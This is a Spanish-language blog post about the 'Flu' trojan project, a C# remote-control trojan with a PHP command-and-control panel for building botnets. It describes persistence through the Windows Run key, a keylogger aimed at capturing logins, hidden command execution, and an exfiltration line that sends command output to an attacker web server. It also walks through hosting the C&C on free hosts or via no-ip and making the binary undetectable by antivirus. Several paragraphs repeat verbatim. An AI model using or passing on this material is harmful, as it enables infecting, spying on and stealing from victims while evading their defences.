Que tal, pues ya tenia demasiado que no
publicaba nada, pero pues cuestiones de la escuela de estar arreglando
unos asuntos pues no tuve tiempo. pero he regresado y les traigo un
proyecto de un troyano educativo. Bueno para empezar veremos que es el
projecto Flu.
¿Que es Flu Project?
Flu project es un proyecto que nace de
la inquietud de dos mentes por iniciar un proyecto en comunidad sobre la
temática de la seguridad de la información y el malware, en el que
todos los usuarios puedan participar para compartir sus conocimientos y
aprender de otros usuarios.
El proyecto consiste en el desarrollo de
una aplicación para el control remoto de máquinas Windows a través del
troyano Flu, orientado a la generación de botnets a través de la
tecnología HaaS.
Qué es Haas?
El término HaaS (Hacking as a Service)
deriva de las siglas SaaS, Software as a Service. SaaS es un modelo de
distribución de software en donde se provee el servicio de mantenimiento
y soporte del software que utilizan varios clientes desde un único
punto.
HaaS es una variante de SaaS orientada
al Hacking. En el caso de este proyecto HaaS hace referencia a la
generación de botnets a través de un troyano para entornos Windows.
¿Qué es Flu?
Flu es un troyano reverso orientado a la
construcción de botnets, también conocidas como redes de máquinas
zombies. Se encuentra diseñado con una arquitectura cliente-servidor.
El servidor consiste en un pequeño
ejecutable programado en C# que permitirá infectar cualquier sistema
operativo Windows, incluyendo Windows 7, para conseguir el control de la
máquina en la que se hospeda.
El cliente se encuentra desarrollado en
PHP y corre sobre un servidor web Apache. Su objetivo es proporcionar
los comandos a todos los servidores Flu que haya repartidos por Internet
para obtener información de las máquinas en las que se encuentran
instalados, y almacenarla en el servidor web.
La información de los usuarios podrá ser
consultada desde el servidor web en cualquier momento desde una
interfaz gráfica desarrollada en HTML y PHP.
Funcionalidades
En esta sección se hablarán de las
distintas funcionalidades que componen a Flu. Se dispone de unas
aplicaciones básicas, es decir, vienen desde la primera versión. Cuanto
mas avance el proyecto, más funcionalidades se irán añadiendo, ya sea
por gente que se una al proyecto o por parte nuestra. Somos todo oídos
para las nuevas ideas, y nuevas funcionalidades implementadas.
- XML Reader
Objetivo: poder
ejecutar instrucciones como si estuviéramos físicamente en la márquina
remota. Además de este modo se puede saltar por defecto los Firewalls,
ya que es tráfico saliente el que se genera y se realiza una petición a
un servidor web por puerto 80.
Descripción: XML
Reader es un módulo el cual permite a Flu, o al ejecutable de
infección, cargar un fichero XML que se pide a través de una petición
HTTP. Simplemente, este módulo realizará la petición a un servidor web
que el atacante tiene en Internet o una máquina privada del atacante que
contiene un servidor web. En este servidor web el atacante tendrá
configurado un fichero XML con las órdenes a ejecutar en la máquina
infectada.
La estructura del fichero XML es la siguiente:
- Raíz del documento, Instructions.
Este bloque da comienzo al fichero XML y cierra el contenido del
fichero. Dentro de este bloque nos encontramos con la versión del
fichero XML, y la instrucción/es a ejecutar.
- Version.
Esta etiqueta especifica el número de versión del documento. Esto es
necesario porque Flu carga el fichero XML cada cierto intervalo de
tiempo especificado en su código. Entonces, para que Flu no ejecute
instrucciones pasadas, se da un tiempo al atacante para cambiar las
órdenes ejecutadas por otras, y para que Flu detecte que el número de
versión del fichero ha cambiado por lo que debe ejecutar las nuevas
órdenes. Es necesario que sea el atacante el que cambie el número de
versión para que Flu ejecute las nuevas órdenes.
- Instruction. Esta etiqueta especifica la instrucción a ejecutar. Puede haber más (muchas más) de una etiqueta Instruction. Esta etiqueta tiene 2 atributos, type y argumento,
el primero alberga el comando a ejecutar en el equipo remoto, y el
segundo, contiene los distintos argumentos que puede recibir el comando.
Ejemplo de fichero XML:
<?xml version="1.0"?>
<instructions>
<version num="12" />
<instruction type="arp" argumento="-a" />
<instruction type="cmd" argumento="/c ver" />
<instruction type="cmd" argumento="/c dir c:\Users" />
</instructions>
- Process Register
Objetivo: registrar el
ejecutable de infección o Flu, para que se inserte en el registro de
Windows. Con esto se busca que al iniciar sesión, el usuario infectado,
Flu arranque automáticamente.
Descripción: Process Register
es un módulo, el cual Flu ejecuta para registrar su ejecutable en el
registro de Windows. La ruta del registro dónde Flu registrará a su
ejecutable es la siguiente:
Equipo\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Por lo tanto una de las maneras de ver
si estáis infectados sería comprobar esa ruta del registro y ver si hay
algo raro… aunque la víctima no debe esperar un flu.exe, hay que ocultar
un poco.
KeyLogger
Objetivo: capturar todas las
pulsaciones de teclado que realice la víctima. Con esta funcionalidad se
dota de un área de espionaje a Flu, ya que se puede observar lo que la
víctima escribe. Una gran posibilidad es la de capturar login y password
de formularios con este efecto.
Descripción: este módulo se
encarga de captar todas las pulsaciones de teclado que la víctima
realiza en su máquina. Este módulo recibe un nombre de fichero,
configurable en el código fuente, que será el fichero dónde se
almacenarán todas las pulsaciones de teclado de la víctima. El módulo
incorpora una función que se encarga de cada ‘x’ tiempo pasar lo que se
ha almacenado en un buffer declarado (todas las pulsaciones) al fichero
pasado como parámetro en la construcción del objeto.
Como curiosidad se explica a continuación como es la construcción del objeto KeyLogger:
KeyLoggerLocal.KeyLogger kl = new KeyLoggerLocal.KeyLogger("c:\\Users\\" + Environment.UserName + "\\_debug_err_win_32.txt");
El fichero, al almacenarse en el
equipo de la víctima, puede ser interesante ocultarlo lo máximo posible.
En el ejemplo no está oculto para nada, ya que aunque el nombre del
fichero no es muy llamativo al usuario medio, se encuentra en la carpeta
personal del usuario infectado. Podría ser interesante ejecutar algún
comando o instrucción con XML Reader,
el cual ocultara el fichero o lo almacenase en un lugar más rebuscado u
ofuscado. O simplemente, modificando su código fuente, para que el
fichero del keylogger se cree en un lugar más “profundo”. Todas las
mejoras que se os ocurran podréis proponerlas desde el subforo de propuestas, para tratarse y ser debatidas entre todos y posteriormente implementarlas.
Console
Objetivo: crear una consola, la
cual permita a Flu ejecutar las instrucciones u órdenes que se reciben
en el fichero XML, desde el módulo XML Reader. Este módulo es de vital importancia ya que es uno de los núcleos del proyecto.
Conseguir que las instrucciones que se reciben sean ejecutadas de forma
“trasparente” a la víctima, es decir, todas estas instrucciones se
ejecutan en la máquina víctima sin que éste este al tanto de ello.
Descripción: este módulo recibe un comando, lo que en el fichero XML se denominaba type, y un argumento, el cual se denomina igual en el fichero XML descargado. Crea una Shell o CMD, y ejecuta el comando que recibe con su argumento correspondiente. Comentar que esta ejecución se realiza en segundo plano, de forma no visible a la víctima.
La salida de la ejecución de los comandos será enviado, a través del módulo Navigation, al atacante. De este modo el atacante obtendrá la información sobre las acciones que ejecute siempre y cuando los comandos que se ejecuten muestren una salida.
Descripción: este módulo recibe un comando, lo que en el fichero XML se denominaba type, y un argumento, el cual se denomina igual en el fichero XML descargado. Crea una Shell o CMD, y ejecuta el comando que recibe con su argumento correspondiente. Comentar que esta ejecución se realiza en segundo plano, de forma no visible a la víctima.
La salida de la ejecución de los comandos será enviado, a través del módulo Navigation, al atacante. De este modo el atacante obtendrá la información sobre las acciones que ejecute siempre y cuando los comandos que se ejecuten muestren una salida.
Navigation
Objetivo: enviar los resultados
de la ejecución de las instrucciones a un servidor web manejado por el
atacante mediante PHP. En este servidor la información se clasificará en
función del usuario o dirección IP. Con estas acciones un atacante
puede tener la información clasificada y puede estudiar vulnerabilidades
y características de los equipos infectados.
Descripción: este módulo presenta la forma en la que la información que devuelve la Shell tras la ejecución de las instrucciones escritas por el atacante es enviada al servidor web que manipula el atacante. El servidor web tiene detrás una aplicación PHP (la cual también es entregada con el código fuente).
Esta aplicación tiene un parámetro, el cual puede ser denominado clave, que se denomina “respuesta”. Por lo que las peticiones de devolución de información al servidor web se realizarán de la siguiente manera:
En el que wb es un objeto que representa a un web browser interno que lleva Flu. En el ejemplo el servidor web se encuentra en la IP 192.168.1.33, pero esto podría ser cualquier IP o dominio. El fichero, para que se observe claramente, se denominó RecibirDatosVictima.php, y el parámetro respuesta equivale al valor de la variable salida, que será la variable que contiene la ejecución de una instrucción.
En definitiva es otro de los núcleos fundamentales del proyecto. Es imprescindible un estudio correcto sobre este módulo e intentar optimizarlo al máximo ya que tampoco se debería inyectar o inundar la red con peticiones PHP.
Descripción: este módulo presenta la forma en la que la información que devuelve la Shell tras la ejecución de las instrucciones escritas por el atacante es enviada al servidor web que manipula el atacante. El servidor web tiene detrás una aplicación PHP (la cual también es entregada con el código fuente).
Esta aplicación tiene un parámetro, el cual puede ser denominado clave, que se denomina “respuesta”. Por lo que las peticiones de devolución de información al servidor web se realizarán de la siguiente manera:
wb.navigate("http://192.168.1.33/RecibirDatosVictima.php?respuesta=" + salida);
En el que wb es un objeto que representa a un web browser interno que lleva Flu. En el ejemplo el servidor web se encuentra en la IP 192.168.1.33, pero esto podría ser cualquier IP o dominio. El fichero, para que se observe claramente, se denominó RecibirDatosVictima.php, y el parámetro respuesta equivale al valor de la variable salida, que será la variable que contiene la ejecución de una instrucción.
En definitiva es otro de los núcleos fundamentales del proyecto. Es imprescindible un estudio correcto sobre este módulo e intentar optimizarlo al máximo ya que tampoco se debería inyectar o inundar la red con peticiones PHP.
Ahora que ya sabemos que es Flu les enseñare las pruebas de concepto que estuve realizando.
Bueno primero que nada mostrare algunas pantallas de lo que es el troyano FLU.
Al descargarnos Flu y descomprimirlo tendremos las siguientes Carpetas.
BBDD: Esta carpeta contiene el archivo .sql que importaremos a la Base de datos de nuestro servidor.
Ejecutables Compilados: Aqui tenemos los archivos ya compilados listos para usarse, contiene 2 archivos. el Flu-Nucleo que es el troyano ya compilado y el otro archivo es Generador de Bots que
es el archivo donde generaremos nuestro cliente, aqui en el generador
es donde especificaremos la direccion del servidor donde hemos montado
nuestra C&C. Tambien el generador de bot contiene la vacuna para
desinfectarte de Flu.
Flu-Nucleo: Aqui es donde contiene el Codigo de Fuente del archivo de Flu-nucleo.exe.
Servidor Web: Son
los archivos que cargaremos al servidor de FLU, ya todo esta listo para
que nadamas los arrastres por FTP o como tu quieras al servidor web.
Vacuna+generador de bots: Esta carpeta contiene el codigo de fuente del archivo Generadordebot.exe
Les aconsejo
que se lean todo el manual de usuario que viene, ahi vienen los pasos
para la instalación, flu viene programador para correrlo de manera de
Local Host.
Pueden descargar WAMP y seguir las instrucciones del Manual.
Pueden descargar WAMP y seguir las instrucciones del Manual.
Screenshots:
Este es el
generadordebot.exe donde generaremos nuestro archivo final, aqui se
especifica la direccion del servidor donde hemos montado la C&C de
FLU y tambien la ruta del archivo wee.xml donde leera las intrucciones.
Tambien abajo tenemos la opcion de comprar si la computadora esta infectada y poder desinfectarla.
Tambien abajo tenemos la opcion de comprar si la computadora esta infectada y poder desinfectarla.
Esta es la pantalla donde nos logearemos a nuestra C&C ya montada en un servidor web.
Una vez que ya nos hallamos logeado, nos aparecera las computadoras infectadas con su SO, ip y direccion MAC.
Tambien nos aparece el Status si estan disponibles o no (encendidas o apagadas), last Connection que es la ultima vez que el cliente se conecto.
El icono que parece un ojo es para ver la ultima instrucion que recibio, puede ser alguna instruccion generada de la Consola o del XML.
El iconode un cuadro es para ver los screenshots que hemos tomado de la computadora infectada.
Y el ultimo icono es para ingresar a la Consola. donde podremos mandar instrucciones como si fuera una shell.
Tambien nos aparece el Status si estan disponibles o no (encendidas o apagadas), last Connection que es la ultima vez que el cliente se conecto.
El icono que parece un ojo es para ver la ultima instrucion que recibio, puede ser alguna instruccion generada de la Consola o del XML.
El iconode un cuadro es para ver los screenshots que hemos tomado de la computadora infectada.
Y el ultimo icono es para ingresar a la Consola. donde podremos mandar instrucciones como si fuera una shell.
Esta es la pantalla de Lastcomand donde nos mostrara el ultimo comando recibido del cliente con la Fecha de envio.
Esta pantalla es la de los Screenshots tomados en la computadora infectada,
Esta pantalla es la de la Consola
donde podremos enviar cualquier comando como si fuera una shell a la
computadora infectada, Vienen comandos ya configurados como el de
Captura de pantalla o Descargar un archivo.
En esta pantalla podremos enviar las intrucciones a todas las computadoras mediante el archivo XML, vienen instrucciones ya configuradas, o tambien puedes crear tu instruccion.
En esta pantalla se muestra la seccion donde podremos cambiar la clave de encriptacion del cifrado AES.
Y esta pantalla es el panel donde podremos administrar los usuarios para que tengan acceso al servidor de Flu, por default tiene un Usuario que es admin y password:1234
Como flu
project viene orientado a usarlo como localhost, si usteden quieren
ingresar a la C&C desde internet, tienen que montarlo en un Hosting.
Pueden usar Hostings gratuitos, yo lo he montado en 4 pero en 2 no funciona muy bien.
Donde me ha funcionado es en el Hosting de 260MB,
pero el problema de este servidor es que no tiene activado el modulo
de php_mcrypt y entonces no recibe respuesta de todos los comandos, asi
que hay dos alternativas quitarle el cifrado de datos a FLU o cambiar de
hosting.
El hosting donde si funciona perfectamente es en 000WebHost, el
problema es que se tardan en darte de alta tu hosting y te dura muy
poco porque violas las politicas del uso de malware. Aqui como quiera
les dejo un tutorial que publicaron en el Foro de Fluproject de como
montarlo en 000webhost. http://www.flu-project.com/descargasDirectas/pdf/Configurando_el_Cliente_de_Flu_con_000webhost.pdf
Si ustedes pagan por algun hosting o consigen otro, para que todo funcione bien, tienen que modificar el archivo conexion-bbdd para que pueda conectar con nuestra base de datos.
Por default el archivo viene asi:
<?php
$dbhost=”localhost”;//Aqui cambiaremos el Local host, por la direccion de nuestra base de datos Ejemplo: “1hostinggratuito.com.mx”
$dbusuario=”root”; // Aqui es el nombre de usuario que nos brinda o creamos en el hosting
$dbpassword=” “; // Aqui la contraseña del usuario que pusimos en la parte de arriba
$db=”flubbdd”; //Aqui pondremos el nombre de la Base de datos que hemos creado en el hosting.
$conexion = mysql_connect($dbhost, $dbusuario, $dbpassword);
mysql_select_db($db, $conexion);
?>
Si no sabes como obtener estos datos, lee el manual que publique mas arriba de como configurarlo con 000webhost.
Otro problema que puedes tener, es al importar la base de datos en phpadmin.
Al importar el archivo .sql que viene en el fluproject nos dara error
en nuestro hosting asi que en el manual viene como crear la base de
datos o la otra es importar archivos .sql pero de cada tabla y no de la
base de datos completa.
Aqui les dejo un link donde he subido los archivos .sql de cada tabla para que no tengan problemas al importar a su phpadmin http://www.mediafire.com/?36w9w58cyyvx9g4
Pero bueno y si lo ustedes es tener su
propio servidor web, lo que se puede hacer es crear una maquina virtual
con Windows y ahi instalaremos XAMPP.
Es parecido a WAMP donde nos correra servicios de apache, mysql, php, etc.
Al terminar de instalar xampp en nuestra maquina virtual configuraremos nuestra maquina virtual con una ip estatica.
Despues configuraremos nuestro Router para poder agregar una aplicación de HTTP Server a la ip estatica que le asignamos a la maquina virtual en nuestra red local.
Es parecido a WAMP donde nos correra servicios de apache, mysql, php, etc.
Al terminar de instalar xampp en nuestra maquina virtual configuraremos nuestra maquina virtual con una ip estatica.
Despues configuraremos nuestro Router para poder agregar una aplicación de HTTP Server a la ip estatica que le asignamos a la maquina virtual en nuestra red local.
Con esto haremos que cuando hagan una
peticion a nuestra direccion IP de internet (por el puerto 80) nos
redirecciona a nuestra maquina virtual donde estaremos corrientdo XAMPP,
osea que podremos ver la pagina principal de la C&C de Flu.
Aqui nuestra maquina virtual corriendo un Windows 7 con XAMPP.
Pero ahora el
problema es que si configuramos el generador de bots usando nuestra ip
como servidor, pues como la mayoria tenemos ips dinamicas perderemos a
nuestras maquinas infectadas cuando nos cambie nuestra ip
Para esto configuraremos un No-ip en
internet hay muchos manuales de como configurarlo, una vez creado
nuestro host de no-ip que nos quedara como “nombredehost.no-ip.org”
descargaremos e instalaremos la herramienta de no-ip llamada DUC y
con esto lograremos a que cuando ingreses a tu host no-ip en este caso
“nombredehost.no-ip.org” nos redireccione a nuestra ip osea al servidor
XAMPP que tenemos. DUC es un programa que se encarga de estar
actualizando nuestro host verificando la ip que tengamos, asi que cuando
se reinicie nuestro modem y se nos asigne otra ip, DUC actualizara
nuestro host no-ip y asi no perderemos las conexiones con los clientes.
Asi que en el
generadordebots.exe al generar el cliente en el area de servidor
pondremos “nombredehost.no-ip.org” y en el ubicacion del Archivo XML
nos quedara asi “nombredehost.no-ip.org/wee.xml”.
Bueno aqui les
mostre varias formas de como montar nuestro FLU, la que les recomiendo
es la ultima montar nuestro xampp y usar no-ip asi nadamas cuando
encendamos nuestra maquina virtual estara encendido el servidor de FLU.
Ahora tambien otra cosa que estuve haciendo con FLU era que como es un troyano pues tenemos a los enemigos los antivirus.
Al escanear el Flu-nucleo podemos ver que ya es casi detectado por todos los antivirus.
36 de 46 Antivirus detectan a FLU como un archivo Malicioso.
Entonces pues
tenia que encontrar algun metodo de como indetectar FLU a esos
antivirus, podemos hacerlo desde lo mas sencillo usando crypters pero el
problema esque el stub dura muy poco indetectable ya que como son
publicos pues todos lo usan y suben a virus total y bla bla bla.
Tambien existen metodos mas manuales como el RIT, en internet encontraran muchos manuales sobre este metodo.
Pero como FLU es de opensource pues tenia el codigo de fuente y lo unico que hice fue modificar el nombre a las variables y compilar un archivo nuevo y con esto bajamos el nivel de indetectabilidad mucho.
Y aqui tenemos solo 5 Antivirus de 45 que lo detectan.
Pero la idea
era dejalo FUD, 100& indetectable, entonces al navegar en internet
encontre una herramienta hecha por und3ath-Injector que permitia
inyectar payloads en el main de un archivo. En este caso usamos la
calculadora que el uso en sus PoCs, la verdad si batalle mucho para que
funcionara, porque habia que hacerle modificaciones.
Y bueno al final nos quedo esto.
0 de 46 Antivirus.
Ninguna deteccion de ningun antivirus, ahora si nos quedo un Archivo Completamente Indetectable.
Luego investigo
mucho mas en como trabaja este ultimo metodo y publico algo y tambien
publicar a sobre vectores de infeccion de FLU, nose como usar embed en
paginas web, o otro tipo de tecnicas.
Hasta aqui dejo este post que ya lo se hizo bastante grande jajaja
Saludos a todo y no olviden visitar la pagina del Flu-Project donde encontraran un buen contenido sobre seguridad informatica.
Y tambien dentro de poco prometo postear tambien otra herramienta desarrollada por los de Fluproject que es Anubis una excelente herramienta de Footprinting
ah y me faltaba poner lo de que todo esto es para uso educativo, esto es para todos los malignos que andan por ahi.